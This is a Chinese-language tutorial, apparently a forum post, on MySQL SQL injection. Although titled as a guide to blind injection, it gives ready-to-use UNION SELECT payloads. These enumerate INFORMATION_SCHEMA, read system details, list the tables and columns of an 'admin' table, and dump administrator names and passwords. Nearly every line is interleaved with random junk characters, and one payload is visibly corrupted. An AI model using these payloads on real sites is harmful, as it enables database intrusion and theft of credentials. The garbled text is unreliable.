本文介绍MYSQL盲注的一些语句和方法
/ R- a% q: q( d9 V
1 `6 K8 f: S7 S2 A学习盲注前先了解下 IFORMATION_SCHEMA 库 ]) w/ Z% f8 s- w6 b2 w; C, o
% r4 \4 f# i5 k4 ]% Q
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
8 r! g# U% H5 [+ z5 P存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。/ y2 @2 r6 B1 @5 p
1.得到所有数据库名:9 C. L5 I; Y1 ^2 y5 o
|SCHEMATA ->存储数据库名的表- Z) o. P( R8 I+ H% t+ M
|---字段:SCHEMA_NAME ->数据库名称
' Y" R/ j( D) G( r
$ h* e- E2 {$ O& s|TABLES ->存储表名
5 T c) n" o5 V2 b/ ~|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
5 `! O, F" ^- l; u" J M0 y|---字段:TABLE_NAME ->存储表的表名
' p8 u4 w. w1 g: ^% O1 X
# Z K2 ~( |( o4 u& i|COLUMNS ->存储的字段名表* T2 d: d! X4 f
|---字段:TABLE_SCHEMA ->该字段所属数据库名
8 x( p" b& Z. v/ b* @7 E* h, d|---字段:TABLE_NAME ->存储所属表的名称
% Y8 r+ u2 J" S, w. V7 X0 E Q0 _" w6 h$ {, g, u8 v
|---字段:COLUMN_NAME ->该字段的名称
9 P; Z+ z+ Y1 @ _# m1 X& g$ k1 `2 ^. P4 o! U
7 W7 {, E9 W! I6 f9 W% `( k
3 e( X$ h7 q! b. |: ^* V* w9 B/ \###########################################################################% y, P3 }" B$ ~) g
E- Z) `$ r# ~" l0x001 获取系统信息:( B4 ?) g# Q: q" A1 s
" s; V/ {7 ?7 e n
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*6 K' w7 W8 Q+ s3 }- w: E
( ? m6 s0 I7 k% S/*
4 Q. g5 J. d% {$ m1 I# C4 u5 w# X
" _! F7 M' B# ?: L! J@@global.version_compile_os 获取系统版本
7 u5 l1 K2 w3 L; D7 x7 m0 ~8 J. l# H9 K+ w
@@datadir 数据库路径" M" S5 L2 [$ ^0 X+ A$ p
database() 当前数据库名称+ h: T- V* |: d K8 p9 c" ]# F
0x3c62723e 换行HEX值
" J( @0 h; x* n9 ?
3 z/ m5 r, {6 ?; k, v*/
3 Z' ` _' b7 I' q* k
' r& Y0 T& ?( R/ r. G$ w; x+ k( e 5 y @& Q. J2 ?# E5 O3 R
" \- E9 w& a6 |* t5 i1 L- h######################################################################% S- E7 l& k. T; p8 ^
5 G y3 ?' y: n+ ?7 d4 {) c
0x002 获取表名
$ e% [7 t/ a$ L- ?. J0 O) w* A6 ?: o7 L
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
3 {# b! P& |: r& M$ r7 h& m2 L' u. C+ M3 }; w% ^; T$ |& U3 i3 z
" {, ]# q1 P) a) j
# l+ X5 J1 T. M" I. i1 t. n/*/ a/ e2 ~$ |6 a( O+ R
J `1 I' g! ^& v1 G0x67617264656e 为当前数据库名, A- L' t0 g" M1 Y
* U6 x4 P2 c$ e. t* R
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名3 t) ]9 k; c- q% @$ {
/ @( Q$ M& x) S: Q*/
# [0 B% @8 {9 f1 x2 _
0 B$ T$ ]& j- c* R; B$ B######################################################################
8 T/ x2 z! |6 b: b0 C) T9 g3 y/ n
2 B- C) I8 v) G. E/ e- ` 1 ]; j& t- Q: R
! I3 z8 j5 [& ?, _" ~( J- Z0x003 获取字段8 R# l. d' ]7 J/ L
7 i4 Q: p7 `; p5 C$ c$ B! w$ M
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
% S! |& u: N7 W0 v& _/ s4 o6 x) {$ R; B% ~* q+ c& T8 |' g( S# ^3 a
/*
, |: ]1 A. {2 h% \7 v! l& G; h6 r# k- [
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段: I& a _% u$ D, k/ f, h' S5 D
( b) V+ ~2 D7 S" Z: p0x61646d696e ->选择一个表3 j( l6 u' |& {$ @# P( b
; H) s* O; a& k) h- h9 r- ]3 B8 |0x67617264656e ->数据库名( q1 u8 Y6 t1 J
[4 \" i& q) T$ a8 M0 a
*/
: x9 p; p& U5 w! W K
" N J, i: `* }#####################################################################
5 M8 R1 D8 c8 j5 r9 |& l) C$ [5 U/ Z& l; M1 |+ }( j- [
( e/ I% p* c* t( ~& L. A
' n ~% k( \% b6 f! w0x004 获取数据; `8 K2 C7 {6 k7 K+ v
6 D8 Z, }& _2 x9 F& kunion select 1,2,3. r: u4 l& x% r" E
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
( e, U& k. e7 c5 t& M, K$ F% m5 U' U5 G! g# }$ o
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
( ]! J( X- X W. D( q/ ], ~* e0 A9 N: m. ?
2 w+ _: I( I: W0 b
0 o; V3 A5 l- O
" v) b! Y9 u) S$ L# r4 }/*: s9 L: b; n9 F/ F. Z; A' O3 }
8 u4 u; Z g' s0x3c62723e 换行符号HEX编码
: R, F& v5 |0 A5 G( N, M) U4 x% |% X; c6 S% D- o
group_concat 同时获得该字段所有数据
: [1 W7 V; C! L/ l, I5 x
" z$ g+ v6 \) T9 i! Q*/
5 o( y/ }5 {! \( s
* `% l7 b# ^( Y& u9 ?+ H* L+ c: i |